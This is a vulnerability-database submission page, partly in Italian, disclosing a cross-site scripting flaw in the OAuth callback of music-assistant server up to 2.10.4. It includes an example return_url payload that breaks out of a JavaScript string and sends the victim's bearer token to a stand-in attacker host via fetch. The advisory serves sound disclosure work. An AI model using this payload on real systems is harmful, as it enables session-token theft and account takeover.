Invia #1004726: music-assistant server <=2.10.4 XSSinformazioni

Titolomusic-assistant server <=2.10.4 XSS
DescrizioneWebserverController._handle_auth_callback (GET /auth/callback) builds the OAuth-success page by naively string-replacing a {REDIRECT_URL} placeholder into a JavaScript single-quoted string literal inside oauth_callback.html: const token = '{TOKEN}'; const redirectUrl = '{REDIRECT_URL}'; // no JS-string escaping applied The value substituted, final_redirect_url, derives from the return_url query parameter an unauthenticated caller supplies to GET /auth/authorize?provider_id=...&return_url=..., which is stored server-side keyed by OAuth state and later retrieved verbatim after the OAuth round-trip. Its only validation, is_allowed_redirect_url() (music_assistant/helpers/redirect_validation.py), checks only URL scheme and hostname (open-redirect style allowlisting) via urlparse() — it does not reject or escape ', <, >, or any other HTML/JS-breaking characters in the URL path/query. A return_url such as https://my.home-assistant.io/'-fetch('https://evil.example/steal?t='+token)-' passes validation as "trusted" and, once substituted into the template, breaks out of the JS string literal, turning into attacker-controlled executable JavaScript that runs in the victim's browser on the Music Assistant origin — in the same scope as the token variable, which holds the victim's freshly issued Bearer auth token.
Fonte⚠️ https://github.com/zast-ai/vulnerability-reports/blob/main/music-assistant/server/xss.md
Utente
 ZAST.AI (UID 87884)
Sottomissione29/09/2026 06:16 (27 giorni fa)
Moderazione20/10/2026 12:58 (21 days later)
StatoAccettato
Voce VulDB422756 [music-assistant server fino a 2.9.8 OAuth Callback oauth_callback.html WebserverController._handle_auth_callback return_url cross site scripting]
Punti20

Do you need the next level of professionalism?

Upgrade your account now!